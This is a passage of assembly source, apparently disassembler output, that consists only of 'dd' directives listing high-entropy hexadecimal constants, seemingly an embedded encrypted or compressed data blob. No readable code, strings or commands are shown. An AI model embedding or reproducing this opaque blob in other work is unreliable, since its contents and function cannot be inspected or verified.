8E02C605h, 0DF40B551h, 50581B72h, 0F98A12D2h dd 0C8D50C0h, 0C6444AE5h, 550FF9FDh, 79FEE954h, 0BC3FEF3Fh dd 4FEE4045h, 602C1E31h, 187347A2h, 0BD13B8D0h, 4239ABFEh dd 0F0D61E79h, 1A4AD2D9h, 82EBBF3h, 0D0288174h, 315A952Ch dd 56AF01A2h, 0EE2B9531h, 6C0D01A2h, 0F5291209h, 842EDE1h dd 67C5775Eh, 0DD96E989h, 51165146h, 17BE8608h, 0FDC7BB25h dd 0F6E9D170h, 4B0EB215h, 0C0D5FE28h, 68B080ACh, 0FFC4404Ch dd 0CCBB481Eh, 42BFFA46h, 544CD513h, 29176818h, 827A3133h dd 71105160h, 3FB47C82h, 0C961B72Dh, 2954E209h, 5907F3C0h dd 0AC6F4BC7h, 0F90C0113h, 0CCE9DF66h, 2A80FC7Ch, 4A070E44h dd 2F0C58B8h, 0FD4D473Fh, 0C84101F2h, 0D731EC18h, 4FDFEC5Ah dd 3FF8FAA0h, 0D69D6D2Fh, 9FFD2086h, 602D7754h, 9F517CCDh dd 20322620h, 0E4A03766h, 149FFAB0h, 9D38F818h, 2F55310Bh dd 6182934Ah, 9612A256h, 416B56B6h, 2808B80Ch, 8EB2832h dd 0E0ECE927h, 0B3F18874h, 905FA5D2h, 0B5D07D37h, 66931C7Bh dd 83A846EFh, 15B744BCh, 5753165Bh, 94C1341h, 147F4D7Ch dd 0E6D4957Ah, 5E26E970h, 354D27A4h, 8EB8F9E3h, 0AC4F102Ah dd 2D963666h, 0C76815C8h, 38483666h, 5206AC1Fh, 5304FA17h dd 0BA0FAFB8h, 961B5F22h, 559EC255h, 704EC9C2h, 22EF4925h dd 0ACEB3DA8h, 0BD40FCC6h, 0BDEA6A58h, 0FC884E12h, 0DC98400h dd 0FF29047Fh, 8042131h, 0E31EFDE4h, 12A5CC2Fh, 0E543F16h dd 902F08B8h, 0B5BB3EFDh, 0F195B84Eh, 0E54D6271h, 9308E908h dd 977C2D3Ch, 44078720h, 477C7313h, 0F1E0D7F5h, 0D1D912F7h dd 383458E1h, 55825B3Fh, 6B015E61h, 81071035h, 0F40191Bh dd 9F3EB368h, 22B1E3D1h, 7730DB29h, 424F407Dh, 0A217C0B8h dd 0AF176267h, 2E5EF504h, 74048CEEh, 843FF341h, 9FBCEA43h dd 0EB4F5B3Bh, 0CBE92902h, 59BFC949h, 78B7B42Bh, 0A7546858h dd 0FE306292h, 0BF45D25Eh, 19F87E25h, 395B8358h, 3BC196B4h dd 5200E83Ah, 7219ABBAh, 0B77E6BA6h, 90D747Fh, 0ABD4EEAEh dd 7F7CC09Eh, 845A0548h, 4138675h, 402EFB1Ah, 3543B6EDh dd 3FF5EC25h, 9B048D05h, 0FB5DEA31h, 0B499F914h, 1E697DE6h dd 0CCCF5155h, 5C416A78h, 1EF2AD7Bh, 79960CEFh, 0A1E6D0ABh dd 354C1B68h, 0AB620595h, 44AEAE75h, 0EA27FB29h, 0AC9C8B24h dd 129095C7h, 909F4970h, 1812F593h, 0E4035F35h, 0A052DF0h dd 861CE92Ch, 6F008AEAh, 0A054E551h, 28BCF553h, 152FC066h dd 81AC6828h, 5077D6B7h, 6425E9EBh, 47DDD92Eh, 0F22D8896h dd 6A1D27D0h, 0DF88E3D3h, 2007288Dh, 80071C91h, 0D98816EBh dd 1213C7A3h, 0FF1B2C14h, 0F6D54260h, 0BA8069D1h, 662C2850h dd 0D5274453h, 30B44B14h, 0FEF7B760h, 12F658CFh, 14804610h dd 4F98C529h, 58EC00EBh, 0EC3B6E05h, 97FAA8CEh, 0F2EB1652h dd 1ED7D071h, 75277A4Ah, 0FA5BD2CEh, 3166B503h, 78E2C2CAh dd 0AD8F5F3Fh, 0B850C5E2h, 0EAF057ABh, 2C58C0C3h, 69CED042h dd 9F09507Fh, 744B4965h, 0F191C2DFh, 414BBE00h, 7C147AC0h dd 9D589AABh, 7C20D60h, 0F4C3EC9Fh, 0A93FE387h, 0C71017E9h dd 46336FD0h, 0F7530388h, 0EE814EDEh, 39F320B0h, 30DF12D0h dd 45BA2CBFh, 0B723D43h, 0A5162924h, 2DC6CF77h, 0D409AE96h dd 0D47D9321h, 3E400599h, 2618BB18h, 60A2A12h, 4BE944D3h dd 449F78BAh, 47F304FCh, 0CC139356h, 0BF55E9E9h, 2BB060FEh dd 6A694314h, 78960EC8h, 0DA31452Ah, 6B10E0A6h, 0FF5D27E3h dd 6825CA9Ch, 61FD7E05h, 2AB89FE9h, 0E955337h, 226A254h dd 18862C4Ah, 0B3105D58h, 0D99F4995h, 27506AD8h, 0E9BB4055h dd 39A9E2Ch, 481AB866h, 2B5EAAA4h, 0FAEF585Eh, 72EA319Eh dd 31BFBF1h, 7176AF01h, 0F744B787h, 32C04C4Ah, 1EC83540h dd 0CC55FC76h, 0EBAFDA5Ah, 40BEF19h, 172FE6C4h, 435CBBBDh dd 7083DE2Fh, 0C44EE3E9h, 307878F2h, 0C651D46Fh, 263D3D62h dd 0C8DAAC10h, 0F594D5ADh, 0CEBD187Dh, 0A813F6EDh, 1C8AB3F3h dd 0C403E3C0h, 85F606EBh, 0FE02EFB8h, 0B0DD3070h, 97EE28E2h dd 5C206322h, 96F307Eh, 1608F9C8h, 0CDC98DB8h, 0A9982BE0h dd 0AD93417Bh, 0C10E741Ah, 602E62F1h, 0B0BE72Ch, 0D5177809h dd 5F76CE8h, 1094AE0h, 0D69539E9h, 54A150BCh, 35386797h dd 0C2A0E2CAh, 0F92EE468h, 37D7888Ah, 4D7DBB04h, 0CB818A80h dd 871B1E25h, 0FCB20973h, 0D1312A98h, 0F45A79F4h, 7EB37B5h dd 0C2800606h, 43F232ABh, 0F6480757h, 582C043Ch, 0F820BC26h dd 0A628893Bh, 5D8320FDh, 34FD7F7h, 56E165EEh, 0FAFC018Ah dd 55555462h, 659D07ECh, 0C4CD93A3h, 3020C033h, 58024A7Ch dd 0FB47E035h, 368B5719h, 5EF37703h, 0A613EEDDh, 0C14920EFh dd 8F3C0CB6h, 52D11F55h, 4AECAF3Fh, 0A5B8404Eh, 5F15003Dh dd 72E4B12Dh, 332EE91Ch, 46F7151h, 0D4A24653h, 0F6815E00h dd 9319A016h, 0F154014Ah, 0E6B92062h, 0B2511E23h, 8628B32h dd 27F3029h, 5F2AC107h dd 0B94AC173h, 0FF1EAB04h, 0CDEC10Bh, 52EED8B5h, 1972C18h dd 0C459CA2Fh, 6DE91425h, 0E24ACCB7h, 0F3679EB5h, 0D7E0C313h dd 95C57F02h, 6030CA60h, 2D72493Dh, 0E97CC038h, 8B7CF78Eh dd 0ABDE0F39h, 0EF947FB6h, 8095D5F8h, 45DEBD95h, 68531331h dd 3788BBB5h, 0FD1B4AE9h, 49B626B7h, 1A08CE13h, 0AD5A2DDDh dd 137F420h, 8B0DD0F7h, 0F038E45Bh, 18C73E16h, 0E8A00ABFh dd 0C10EBD10h, 0E9FD310Bh, 82C42B5Ch, 96C9A9BAh, 63C0CA84h dd 0E0A0206h, 72E68177h, 0AF040724h, 1C6F71E8h, 48C12DFEh dd 0FECD32h, 281570EDh, 9933F6Fh, 0A0175ECAh, 54380F7h dd 0E98769CCh, 0B2D8042h, 116F6875h, 0B2A5B970h, 37D99CC2h dd 0B4080D88h, 7895AA20h, 0F3755C04h, 0D87AD98Dh, 90410E05h dd 0BF5D2A20h, 4E08D3CDh, 18B00125h, 7A17C380h, 3CB15EC0h dd 8E93DC0h, 288BF1BDh, 0D1859CBh, 7BBD3115h, 9D82208Bh dd 82218855h, 99687525h, 0FE5AF05Ah, 2A7AF8A3h, 0B7E0DB48h dd 0E6CDFAE0h, 312FF816h, 2950450Dh, 0A88FA50h, 6103F659h dd 626848B5h, 26C5332Ch, 0EB1F9154h, 2DEA5F7Fh, 10A23EE6h dd 95FA45Ah, 7FBD8B97h, 680A431Dh, 72085F9Bh, 8D5F1F2Bh dd 7B765BDFh, 0AE4BCDBCh, 0B0A8FFC4h, 5D3FF150h, 0CD003FC3h dd 30DBE581h, 93A07492h, 0A3A2EFF9h, 0A5207252h, 91BE0447h dd 0C06FF420h, 0D50B242Eh, 190C1D60h, 0BA6D312Eh, 6142AA9h dd 5BDA25F4h, 825B51CCh, 9AF0FC5h, 6985790h, 0C695DD39h dd 268125Ah, 21C26115h, 8122AFDCh, 0ED922AF7h, 0A8F280E2h dd 8358D108h, 4F0C5AA8h, 0D4DA016Fh, 291C6D08h, 8D02E32Fh dd 0F07FB796h, 577B0545h, 0F92C7E25h, 16688487h, 5BE3AA5Dh dd 0BBE88385h, 93843FA3h, 0BE71497h, 82BF1CA6h, 5D83FC90h dd 0F9F76D92h, 0D1756935h, 5BDDE26Ah, 3B129892h, 0B9787089h dd 0A352502Eh, 2840E025h, 5B6605DEh, 0CD5AF388h, 6327303Bh dd 0E315881h, 1A1DEE2Bh, 7FA37767h, 23165775h, 0A0FCC801h dd 0C7CBEAF5h, 4F909B10h, 21A164ACh, 0AFC6EF0h, 6BE8C1A1h dd 366E3DE1h, 0D6970D56h, 307552A2h, 82C5652Fh, 28191E40h dd 20DBD34Ch, 0C1CAF536h, 78282E79h, 54686604h, 75B4EF2Ch dd 5889BF39h, 0E971A8FEh, 20B9DECEh, 199A26EAh, 753DC28Ch dd 0C146137Fh, 2C9FBEB3h, 9F2500B9h, 0DF1810Fh, 334F1975h dd 0DB0137FDh, 0E96CAD62h, 0E6853ABEh, 9290E2BFh, 38A714ACh dd 42CD5125h, 0E37E4DE9h, 2C0EE399h, 59B0BB00h, 0FD9E297Fh dd 0E28C511Fh, 2DD8B354h, 9A57E42Ch, 540FDA5h, 0D34E88C8h dd 6928DB8h, 63B63E6Eh, 0BA20C677h, 2B20B82h, 83F5D530h dd 8734EB1Bh, 0A63AC43Ah, 9B03E159h, 0FF03E1C0h, 0E702933Fh dd 0FDC9FE06h, 0D7673E50h, 0CB04ED38h, 498A2CEEh, 16B90B95h dd 68590B4Ah, 5C301A22h, 55822FFEh, 0D6CB0FF3h, 0D8858BD8h dd 7DA5B8FCh, 4E20F81Eh, 0B2F5EB97h, 60FA773Eh, 0BB6BD9EEh dd 1388614Dh, 20D1B8D0h, 328FFC5Ch, 2AA68B2Ch, 0E8B5BD03h dd 0B9D6F88Eh, 0B1A727ABh, 3B8C249h, 446BCED6h, 0BA520383h dd 71A77992h, 0BB9AE00h, 76E915BCh, 5B34CB42h, 4E4AEED7h dd 8294B2A4h, 0F91C9668h, 87D56BD1h, 84124738h, 2A9EF422h dd 410EA5Fh, 89B38567h, 3FD2C2CAh, 847A9974h, 37AE46B5h dd 402391BDh, 81AA3035h, 0F21F534h, 7DA38C82h, 17D47B18h dd 2D451301h, 3FEB556Dh, 1420B371h, 0EA4AF403h, 48FC36A3h dd 0BA25E012h, 0BB30F505h, 659CEB81h, 0B9354AFh, 0D44EF88Eh dd 54B4D69Fh, 0E0D4E927h, 1222B937h, 0A8778C78h, 0E281805Eh dd 5CBF5DEAh, 0DF2C111Dh, 0ADD0A521h, 669FB0FAh, 0B1CB2001h dd 1BD8DDFAh, 5C63B2A8h, 1D10CFE8h, 0DA881D53h, 1957A2D2h dd 720716A9h, 0D548CE1Ah, 115EC07h, 7495BF57h, 0EA2B5061h dd 0FBDC6720h, 1EB34E1Bh, 0FFFBF4ACh, 0F381DCC0h, 0EE86138Ch dd 5B76099Fh, 10CEFB7Fh, 14FDD21Ch, 64AB901h, 0A5BDBE0Dh dd 0A142780Bh, 0F37B50A4h, 0D5977A9Ch, 36A46A5h, 6CBBF573h dd 0EF895D90h, 165AF96h, 0E094C5AEh, 6E27686Dh, 0EBB2985Eh dd 0FB30373h, 0D3F7DF87h, 0E781080Fh, 0B4BFFF5h, 2AF852h dd 369F291Ch, 0D8574DBEh, 12E9AC0Bh, 261544DBh, 89F7BF59h dd 0D97FAEB7h, 0C95B1FD6h, 0F690F013h, 0C4BFE531h, 5C85BD9Bh dd 8931FCD9h, 8DC50055h, 3A4C930Dh, 5C9343BDh, 0ED4F8CEh dd 3607DB05h, 4EE10B06h, 0DA082C4Ah, 0E28005C7h, 304581A2h dd 1C076D7Ch, 0EA166AB5h, 5A51CAEEh, 0E0200CF1h, 200B4160h dd 8F94CEAEh, 0B0743528h, 4DEFE78h, 0F7507997h, 0EA4076CEh dd 3E1D00B8h, 0F4BB37D7h, 674F4587h, 0A940A3BCh, 0ADCB0681h dd 100FE820h, 344B4348h, 20C07F01h, 5DDB6808h, 0C0109F5Bh dd 0A9B92EEFh, 31AD962h, 0DAB9F101h, 7CE3F87h, 9095EA4Bh dd 40E02B01h, 0E26E3F41h, 950200B9h, 20E90CAAh, 21C8C9CCh dd 50C35B23h, 89D0AFD0h, 4861F582h, 17A83A01h, 3B4265ADh dd 162F2AEFh, 0F461EF23h, 0EF052F75h, 544214C8h, 0F7CEEA31h dd 9E9EB37Eh, 0E090E9C9h, 4BC5805Fh, 7D31B015h, 4C3CDF41h dd 27BB65Bh, 635436C1h, 9858D523h, 2C5B0881h, 3C94B70Ch dd 0D37059ACh, 0F8330674h, 2D5E1232h, 91E863A5h, 50769DCAh dd 9A84F7E5h, 80EB6AD5h, 8105EAB1h, 3113F6E6h, 0D5F0FDDBh dd 29D94022h, 8BFCFA4Bh, 50844B1h, 13A40ABFh, 3FF17BFCh dd 581C870Eh, 6982D821h, 23B4B126h, 0CD68BB85h, 214D8D1Fh dd 8EF6D209h, 5173660h, 0E0C1251Dh, 0E905E6F4h, 0CCFE7EB4h dd 0EF54FD41h, 675CB1B4h, 80CF046Dh, 608261EAh, 0F15E0419h dd 0CD2C7B1Dh, 5A094091h, 0C190ECB0h, 5C1DB690h, 296E9F42h dd 0C1AE324h, 3866834Bh, 124816Dh, 0D8FDC312h, 0A0C390E2h dd 970D11E0h, 525FE1Eh, 0BD3B7D2Dh, 0ADC646ACh, 0EE76BDCEh dd 0A3485D71h, 4FD2440Ah, 0D59231Ch, 0E6AB93BDh, 0E4F9E289h dd 5C19E622h, 7AD71BC0h, 0B5A0309h, 0B81AE3Fh, 0E87410C1h dd 0A732463h, 0C8EF0212h, 4377A744h, 68D3097Ch, 0DF74548Eh dd 0BC70DC2h, 48CDEC5Fh, 0A64F3842h, 41E05F1Dh, 670A3AE0h dd 163CC1CAh, 6BA6202Eh, 75CC664Bh, 0F9C74A93h, 91E8A540h dd 0A49D298Ah, 9FC20EBDh, 45AD107h, 0B5E3FFC8h, 3BE5E982h dd 76F1A2A2h, 0BBD9B5Dh, 82A8E9ACh, 3C23DC90h, 7C255E48h dd 0A44918FAh, 2DF01296h, 0FA3056BAh, 9FBCC721h, 9E84CC6Bh dd 6A270916h, 40472700h, 0CC214D74h, 0BC4E81A2h, 9E48F0Bh dd 0D5E9B2CAh, 0E60851ADh, 8092E084h, 0D3369A5Fh, 5CDC2748h dd 0AE12A49Ah, 1DEF0FBh, 24E97440h, 0BB94BB82h, 0C68A5427h dd 80DB0197h, 96203CF2h, 7F09F68Eh, 2720F6C9h, 0EBC7C60Eh dd 0A1098439h, 7CE33FA4h, 0ED445CA2h, 76952C70h, 45DFCB27h dd 85A1C8D5h, 0EA9D703Ah, 51EADD20h, 1DA52F5Eh, 883DC52h dd 0E9170C41h, 37227FB9h, 8C088D1h, 203CA80h, 0BF0C8B5Ah dd 84E969E5h, 968817F6h, 20830CEBh, 4A5A764Dh, 21185C18h dd 275E4344h, 0FA586B89h, 3BB2B0C0h, 59E9E898h, 7D580E8Ah dd 0A8A5EF92h, 9E597530h, 0E7E95036h, 79A4774Bh, 0EF2BBD05h dd 0C36484D1h, 55EEB0BBh, 1D6BBD1Ch, 0D0BC0916h, 0AAD20196h dd 0BF1A7A3Ah, 0CC39090Ch, 0D74E85CAh, 5419CED1h, 38F6317Eh dd 0F0AB050Ch, 501F95A3h, 0AE4B84B4h, 0AD58DC5Fh, 47FCEA6Ch dd 1C4BDF4Bh, 0A1347502h dd 6394E92Fh, 3F62D75Dh, 17626C2Eh, 97067C5Ch, 0EA4584D5h dd 0E98521B9h, 79A8A8E3h, 0AF70027Bh, 74D4F050h, 5C5F0980h dd 7027FE1Ch, 27591761h, 0E9C4DF3Fh, 0B2EE80B6h, 5A0BD6F8h dd 0BF9A7597h, 2DECFB7Dh, 0E9852971h, 0F7A81C71h, 8494A9E4h dd 81009C05h, 0FC64D6E7h, 0F73B4176h, 2CDC3B88h, 7D72CD31h dd 84C537C8h, 45B17209h, 82F5D801h, 0D18F4108h, 3BE0892Eh dd 8E10EDB2h, 8F8A5FAAh, 0CC3B5D7Eh, 96EA881Ch, 0BCB617D7h dd 39BA4F1Fh, 165FBC2Ah, 0CBBA5E60h, 4AB84C8Ch, 0E26ECEE1h dd 0BC2DA4D6h, 36B18B38h, 0F8EB0432h, 97D73907h, 4D2C97C6h dd 3BD0BF88h, 0CA778627h, 80F47470h, 68DD1EE6h, 5A00D009h dd 463B0548h, 0B0406B82h, 90753ED8h, 6CC1FBCBh, 0C779D695h dd 3005D43Ch, 0AB4D4547h, 2F1C8906h, 0FB2FFFFFh, 5F0C7E1Ah dd 0B9268AF4h, 21DD9A42h, 0C1893DC3h, 88F52EEEh, 1235F1FDh dd 8081843Eh, 0A90A782Fh, 92125h, 1438E394h, 681F2E2Eh dd 0A5D8296Fh, 0DC30E66h, 284C80E9h, 78935C6Eh, 15CE3201h dd 0AC0B70Ch, 0FF82DA75h, 0D4BDD452h, 782E3F7Bh, 0FBB8817Fh dd 207E5838h, 88509390h, 5E137874h, 0BB926B5h, 0BA410841h dd 8A6BB1F0h, 0D3CD1BDBh, 0FA6AB191h, 0A993443Ah, 850EB9DBh dd 0D1B8E770h, 9CC704F4h, 4001FD1Bh, 0C9407AF0h, 7C915CB6h dd 225CDB27h, 6BFBEE60h, 4E7D7EBBh, 15B0942h, 0C28655CAh dd 0F70114B6h, 525192D8h, 0AF2E5A59h, 0D0ABB824h, 426EF5CFh dd 930353Eh, 0D9FEAF68h, 0FF804BEAh, 1FA06850h, 584EA718h dd 65E4E95Ah, 21CEB79Ch, 6D97168Ah, 97833E53h, 20EA1005h dd 377A94DBh, 794B0F25h, 0A2004B24h, 1E66C23Fh, 95B3E910h dd 7AB76809h, 51A8B0FFh, 90DFF857h, 0F4305FA1h, 0C5FE930h dd 0E2EF9EC5h, 13FC112Bh, 64A871A1h, 6F16E416h, 25D74DF3h dd 4D490DEEh, 0E27F15FDh, 2277D11h, 0C1AF13DAh, 0F86E812Fh dd 5DF38043h, 741AC53h, 0DF790105h, 15455072h, 2D045B7Ch dd 5F9F57A4h, 7411DF8h, 6E568F40h, 0E924E7CCh, 0E0C4B7EAh dd 7DBB5E25h, 0EBCA5E13h, 0D49DB070h, 0C2EADA80h, 0E27F250Bh dd 72065776h, 0E817651h, 6EECEA89h, 8A66814h, 5E9D0BDh dd 421E5A62h, 7195E601h, 0C52E7FA6h, 3CA7BE6Dh, 0CE8C10Fh dd 47D1C849h, 8AC7654Bh, 0EACAC9Eh, 0E0517B8h, 9E35F302h dd 50CAB0E7h, 892330E9h, 727CBB82h, 0C4A340EEh, 246103D0h dd 0F89742B5h, 92B1E836h, 39C14898h, 5245AB4Ah, 0CEAE1FCAh dd 12A65D07h, 0AC52E029h, 0A7507691h, 8105E801h, 712A292Dh dd 0C60FCF7h, 53161326h, 0F19F0050h, 692585D5h, 9D20AF90h dd 0DB2B266Ch, 12AB05DFh, 7201BF90h, 0BD895833h, 740B08F0h dd 0ACC00706h, 0A010E5DCh, 28EE53F0h, 958B6B06h, 6252D7Dh dd 0A3A4F6E8h, 0B5201850h, 1EDE8116h, 46E28E81h, 307CFFC2h dd 7301B88Dh, 85891C1Ah, 458C1B11h, 0F19B4C3h, 1FD38F6Eh dd 78E4FB09h, 4D85F8D8h, 0E91886AAh, 901D230Ah, 5A6D0E01h dd 0C927042Ah, 5906CCh, 3CBCB7EAh, 0ACBD918h, 0F9C55307h dd 0B8B0E92Eh, 1FD7DE3Eh, 4960CFh, 0BEF36E85h, 0E15C42BDh dd 532200AEh, 0A56DF929h, 304A72Ah, 0E02FD201h, 809E8689h dd 74BF0518h, 0BE68A4h, 0A56FDFCFh, 0B3D12BC1h, 5EE02C00h dd 6FA14C7h, 298A641Bh, 0CEF1210Bh, 0E3105212h, 8F78989h dd 66CC448Ah, 8887FA84h, 4280D813h, 65CB072Eh, 0C064C2E3h dd 9D9304D5h, 0CC294C00h, 1E6ABC98h, 0A4BD00CAh, 0C18680A0h dd 8F00DD0Dh, 63CE7E11h, 1D9596ACh, 40D6B877h, 2FEEC1D5h dd 1E00DA6Ch, 0B1CE541Fh, 32DF475h, 3C7A6AAh, 51D01017h dd 0E400D18Eh, 0ACAB4071h, 305E1DF4h, 0EE560B67h, 7300767Ah dd 0B8B20E72h, 38EFFC7Bh, 0EC0791D2h, 0C183741Ah, 0C409275Eh dd 0EAF04F75h, 0CC246F00h, 7DACDE2Fh, 4DC400B3h, 0FA011C67h dd 1400C9E6h, 78C62AA6h, 8AD60Eh, 60C65E0h, 0E469C48Dh dd 6BCFEB00h, 3B26FD0Bh, 0D0E700E2h, 20F67194h, 1E0F51D5h dd 0E12DB7h, 0A443CD50h, 0A5FC0023h, 3F48DAE5h, 0DE09C241h dd 12BEF62h, 0EC470B00h, 7B9770h, 0D6F5D736h, 4A0FB8A4h dd 0C96BEF01h, 0A9DD1875h, 94F8FCh, 0C40B0A5Ah, 385BBA2Ah dd 0A64D2400h, 6F96970h, 3FD2766Ch, 0C30EF379h, 3C60541Ah dd 0A2B97B11h, 33F5FC00h, 229B4155h, 0FA940021h, 87CB8A69h dd 29001DBEh, 0C9D6AA25h, 3B77B90Eh, 42009027h, 0E3891B6Eh dd 7C00C119h, 63F3C633h, 7FA9A0F8h, 0A1F90F78h, 544E4E2Eh dd 29D20621h, 3391D8B4h, 0CE945Ch, 247CF8AAh, 786A79h dd 0B03AAFA5h, 5A63FC0Ch, 42C5C914h, 0B13BEFh, 18281FECh dd 0A4492Fh, 1FA9262h, 52B7CB51h, 89FB58h, 83CEE759h, 240D321Dh dd 39A4694Dh, 3EB42880h, 2BC3A2B6h, 7DF4E000h, 59416E55h dd 0D5BB501Ah, 0DD5039F1h, 877BE980h, 77EB179Eh, 2885CD00h dd 5CB97A2Dh, 33B30F70h, 835D5972h, 0CA5BDB3Ch, 0FDCEB798h dd 0D53F1C05h, 8D832D8Ch, 0E33DF2BDh, 0B59AD84Fh, 49940C5Fh dd 0FC4A259Fh, 0EF4ED49h, 7EE9C65Dh, 0DE0F7464h, 0C520A598h dd 0BFF2D000h, 0ECB597h, 2E70F84Eh, 4622597Bh, 3E7F0207h dd 52102CA8h, 72CF12C6h, 0C2960066h, 3A93E387h, 0B41FC94Dh dd 6380FC8Fh, 900B1365h, 0E969009Ah, 35B6F748h, 30008D5h dd 34F2A56Eh, 3D9DDD3Fh, 0FF8E1CD6h, 51402719h, 44243987h dd 0B1529000h, 58FC3473h, 0B4EA2Fh, 5EC23331h, 69AF05A6h dd 0D5889200h, 946409AAh, 287B009Eh, 0E1BCB510h, 0B01F14Ah dd 0A7D1D6F3h, 40DA0990h, 602A8463h, 0D86810E5h, 0A00E9A6Dh dd 5E345A7Ch, 1D503AC5h, 0DAC2C740h, 0F8D7797Dh, 2FD7C18h dd 27B72133h, 0A8802C63h, 8C88E2EFh, 42189B00h, 2089D853h dd 0A8ECEC25h, 0E41AECh, 1C519478h, 0AF1E470Eh, 8157F18h dd 0B131FEh, 1D54354Ah, 2DE78B02h, 9F9C20FFh, 3C27B621h dd 3AC95D0Ah, 0BD9280C4h, 0B9DA3DE0h, 0B8402A00h, 0EC8E1847h dd 0F5E90023h, 0BD61CC7Fh, 2900016Eh, 24844819h, 0C003A030h dd 566A0D40h, 8B007404h, 0FDAB9C9Eh, 288FCB3h, 0D9B66E2Ah dd 10404C6Dh, 0E2FEC8EEh, 5C665660h, 90FB1DECh, 0E0585024h dd 7C2101E9h, 0AE835FF4h, 0DE1630CEh, 6A5D270Bh, 3823068Dh dd 0BB10048h, 0B5E5EE3Eh, 0F2C17B43h, 4A63CDF7h, 99D8FC25h dd 95E50033h, 0E66C1AEEh, 5300FBB1h, 0CB73C28Fh, 42B68Eh dd 6F5C4E7h, 54584F03h, 665A3809h, 2CB380C6h, 1CED1426h dd 70DB04D4h, 97BCD70h, 0E616F107h, 0FE0B211Ah, 8C1300DAh dd 0E2670FD1h, 0AE7A8409h, 9D328223h, 3AAC40FEh, 0FA340078h dd 445CA97Fh, 552481FBh, 5200F06Bh, 61DF1529h, 4D9F00B9h dd 54846819h, 5103101Ch, 90874C45h, 4286A0F7h, 5633AA3h dd 14AC9Fh, 0E0EB0338h, 0CC00E22Bh, 0D4B9CDE8h, 0B211A7h dd 18041B65h, 7AFB205Eh, 316E2201h, 3B3A1DB8h, 689F80CFh dd 50980196h, 670C92D5h, 7374E4D1h, 0ACF3D400h, 49CD1456h dd 7C41023Dh, 2D40B534h, 169B5440h, 0D6513C00h, 4427468Bh dd 887401E5h, 7C3F199Fh, 0D83C34D9h, 81A8451Eh, 0D3FB04C0h dd 4BCA1Ah, 961D5609h, 0D60B1880h, 40827B00h, 935BF434h dd 54441D2Ah, 0E68A4324h, 63E0493Ah, 9B1876CAh, 82791A9Ah dd 0AB4B0221h, 250A59AEh, 91E1A460h, 7F0EEF70h, 4032CAB5h dd 2C7AA11Bh dd 4637001Ah, 0D0201D0Ah, 2E639B28h, 3D79C7C8h, 0AA81F3FEh dd 0E84311BAh, 2374D46Ch, 0E2F6B002h, 0E3EDA08Ch, 0E67EB8A0h dd 4D270557h, 8094A716h, 2DCD1250h, 0E03AE503h, 35E60Fh dd 0FF8E67C8h, 66B8B963h, 979AC300h, 91B53FD4h, 0BBDC00FAh dd 0B95F15BFh, 6500F33Ah, 0A76D3F4h, 20BEC4Bh, 0B2C756D8h dd 784003BCh, 0A900DA4Dh, 339D3EE2h, 3EA0905h, 0E5EC28CFh dd 2AF9868Fh, 0A27C6099h, 7258B698h, 1AC5013h, 9701F09Ah dd 1DDAF17Eh, 7CC8E223h, 5166002Ch, 41DB5543h, 39F8D9BDh dd 115EB007h, 9100D3A9h, 1C8ADh, 7A8363D1h, 0AE1B0343h dd 67195D13h, 0B8D07024h, 1CF977E9h, 0F385C1Ah, 9E0974Ah dd 40F128B0h, 0D5831103h, 886E394Fh, 7747A94h, 0B2D7B7A0h dd 0C09BD42Ah, 965302CCh, 3B23DB0Bh, 76508060h, 0E8C56h dd 0BCD32711h, 0C9FEC0A3h, 28474C00h, 0E176D466h, 0C5370026h dd 317A96B3h, 800F3BEh, 0CBA45B61h, 783FD12h, 591446A6h dd 10AF47E8h, 0F7E0B43Eh, 44649700h, 0AB8B8ABEh, 0E4B81D19h dd 0C5A44013h, 77F01A78h, 2598F800h, 1B3BEE26h, 0E1230075h dd 0E8683E70h, 3600BC93h, 2A4F7457h, 142E62Fh, 0F7D55529h dd 0ECA8BA34h, 3B01DEF9h, 0B2770CC3h, 91ECA2D6h, 3547CABh dd 4D81C640h, 0F488D09Ah, 590052F9h, 0A9C01D0Fh, 9320B5Fh dd 0A7499EEAh, 9784A780h, 0B90018FBh, 2BA83053h, 21E3B0Bh dd 34DD9CB4h, 0C8A05B77h, 0DA4638D0h, 0DE760900h, 10D542Fh dd 62580043h, 0A7EF2206h, 1600FE59h, 3A0BF41Dh, 40B9D2h dd 0F71E50F0h, 91DB2146h, 9C681124h, 229E0201h, 332741h dd 80853AE8h, 1F557FF0h, 3500A483h, 27AFCAA7h, 70954Fh dd 5ED15234h, 0C92A8B7Eh, 3B960600h, 6BB55D36h, 1393001Ch dd 5695044Fh, 73AD3B3h, 86A7048Eh, 18C1D64Dh, 0F6FC80FEh dd 0B6C602B1h, 18485028h, 91D9F8E0h, 0A7290B0Ch, 0F41A1019h dd 0D7BC304Ch, 21413838h, 75007D75h, 49B18719h, 0A040B2A2h dd 1CD546AEh, 40BC18DCh, 42BE172Bh, 123CEB8Fh, 329600CBh dd 15DD81D8h, 0DA600AFh, 0EE610B23h, 0C21E68D0h, 0D200F7A8h dd 3CCC9A9Eh, 2E2902CFh, 776034C1h, 2153CC0h, 0B8856501h dd 0AA96D856h, 0D4792980h, 51982DCh, 4EA3321Eh, 0E85BFA80h dd 1CEE703Eh, 0C0312458h, 0B52A035Dh, 4B029B20h, 3FDFA805h dd 7A79E083h, 3DEA9Fh, 793238A2h, 48B0CE37h, 92D9D00h dd 0EA02C251h, 2C17623h, 0D635ACE8h, 0E88E8A42h, 5A0B7000h dd 3B004BECh, 0B30E57CFh, 508648h, 1655C88Bh, 8EDA0C2Bh dd 59890200h, 5BC66307h, 0F93E00E7h, 61732DC4h, 0B7008E6Fh dd 0BA19ED36h, 53A8D3h, 7C6DA75Dh, 15FA2038h, 0CC80E2F9h dd 47358339h, 0DA11F16Ah, 8AC2B800h, 0AF87A0h, 0A2FB13Dh dd 68A70EB2h, 93E9EC1Ch, 29F42DC0h, 4FB822h, 11520D5Fh dd 967594AAh, 0FC900600h, 42A30FFEh, 60570037h, 0CB7F3FFFh dd 0C0083EFh, 0E62CB997h, 16983146h, 0F40ADA0h, 0DB4FBF50h dd 545DD8E0h, 0F438307Fh, 8DEB00D2h, 0C04466EAh, 88D50FA7h dd 29A428ADh, 0A3A9C0A6h, 5200CB1Ah, 148CF80Fh, 3CC5E43Ah dd 0BA027275h, 0C4F1E26Ch, 0D8B42060h, 8AD9A100h, 0A3E39440h dd 0ED0600AFh, 0DEA2158h, 5903A502h, 55394886h, 1B8EE46h dd 0A885F1ADh, 30BFD701h, 8801FBC8h, 0C28A171h, 0E3DC59D4h dd 0A28E00B8h, 0FDDC368Ah, 651CF6A3h, 0EEC011C5h, 8E02F152h dd 461A00CEh, 79332FD6h, 1C003D72h, 447F3188h, 3F12B383h dd 